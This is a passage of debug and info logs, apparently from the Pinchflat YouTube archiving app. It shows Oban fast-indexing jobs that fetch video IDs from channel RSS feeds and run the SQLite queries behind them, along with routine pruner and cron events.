(?1,?2,?3,?4) RETURNING "id" [459, 2, ~U[2026-07-23 23:30:36Z], ~U[2026-07-23 23:30:36Z]] 23:30:36.968 [info] {"args":{"id":2},"id":456,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173452,"event":"job:stop","queue_time":419297,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:30:54.897 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.700 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:24.898 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:54.899 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.701 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:24.900 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:54.901 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.702 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:24.902 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:54.903 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.703 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:24.904 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:48.055 [info] {"args":{"id":3},"id":457,"meta":{},"system_time":1784849688055299814,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:34:48.055 [debug] QUERY OK source="sources" db=0.1ms idle=72.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:34:48.055 [debug] QUERY OK source="settings" db=0.0ms idle=72.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:34:48.055 [debug] QUERY OK source="media_profiles" db=0.0ms idle=72.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:34:48.056 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:34:48.056 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:34:48.207 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:34:48.208 [debug] QUERY OK source="media_items" db=0.2ms idle=152.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:34:48.210 [debug] QUERY OK source="media_items" db=1.7ms idle=152.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:34:48.210 [debug] QUERY OK source="tasks" db=0.0ms idle=154.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [460, 3, ~U[2026-07-23 23:34:48Z], ~U[2026-07-23 23:34:48Z]] 23:34:48.211 [info] {"args":{"id":3},"id":457,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":155713,"event":"job:stop","queue_time":522240,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:34:54.906 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.704 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:24.907 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:54.909 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.705 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:24.910 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:54.912 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.706 [info] {"source":"oban","duration":101,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:24.913 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:54.914 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.707 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:24.915 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:54.916 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.707 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:24.917 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:54.918 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.709 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:24.919 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:36.456 [info] {"args":{"id":1},"id":458,"meta":{},"system_time":1784850036456420615,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:40:36.456 [debug] QUERY OK source="sources" db=0.1ms idle=473.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:40:36.456 [debug] QUERY OK source="settings" db=0.0ms idle=473.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:36.457 [debug] QUERY OK source="media_profiles" db=0.0ms idle=474.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:40:36.457 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:36.457 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:40:36.826 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:40:36.827 [debug] QUERY OK source="media_items" db=0.3ms idle=370.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:40:36.829 [debug] QUERY OK source="media_items" db=2.2ms idle=370.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:40:36.830 [debug] QUERY OK source="tasks" db=0.0ms idle=372.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [461, 1, ~U[2026-07-23 23:40:36Z], ~U[2026-07-23 23:40:36Z]] 23:40:36.830 [info] {"args":{"id":1},"id":458,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":373889,"event":"job:stop","queue_time":352991,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:40:37.458 [info] {"args":{"id":2},"id":459,"meta":{},"system_time":1784850037458197054,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:40:37.458 [debug] QUERY OK source="sources" db=0.1ms idle=628.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:40:37.458 [debug] QUERY OK source="settings" db=0.0ms idle=628.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:37.458 [debug] QUERY OK source="media_profiles" db=0.0ms idle=622.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:40:37.458 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:37.458 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:40:37.624 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:40:37.624 [debug] QUERY OK source="media_items" db=0.1ms idle=166.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:40:37.625 [debug] QUERY OK source="media_items" db=0.2ms idle=166.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:40:37.625 [debug] QUERY OK source="tasks" db=0.0ms idle=166.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [462, 2, ~U[2026-07-23 23:40:37Z], ~U[2026-07-23 23:40:37Z]] 23:40:37.625 [info] {"args":{"id":2},"id":459,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":167365,"event":"job:stop","queue_time":489788,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:40:54.920 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.710 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:24.921 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:54.922 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.711 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:24.923 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:54.924 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.712 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:24.925 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:54.926 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.713 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:24.927 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:48.732 [info] {"args":{"id":3},"id":460,"meta":{},"system_time":1784850288732386206,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:44:48.732 [debug] QUERY OK source="sources" db=0.0ms idle=744.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:44:48.732 [debug] QUERY OK source="settings" db=0.1ms idle=744.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:44:48.733 [debug] QUERY OK source="media_profiles" db=0.1ms idle=745.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:44:48.733 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:44:48.733 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:44:49.398 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:44:49.398 [debug] QUERY OK source="media_items" db=0.2ms idle=666.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:44:49.400 [debug] QUERY OK source="media_items" db=1.8ms idle=666.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) 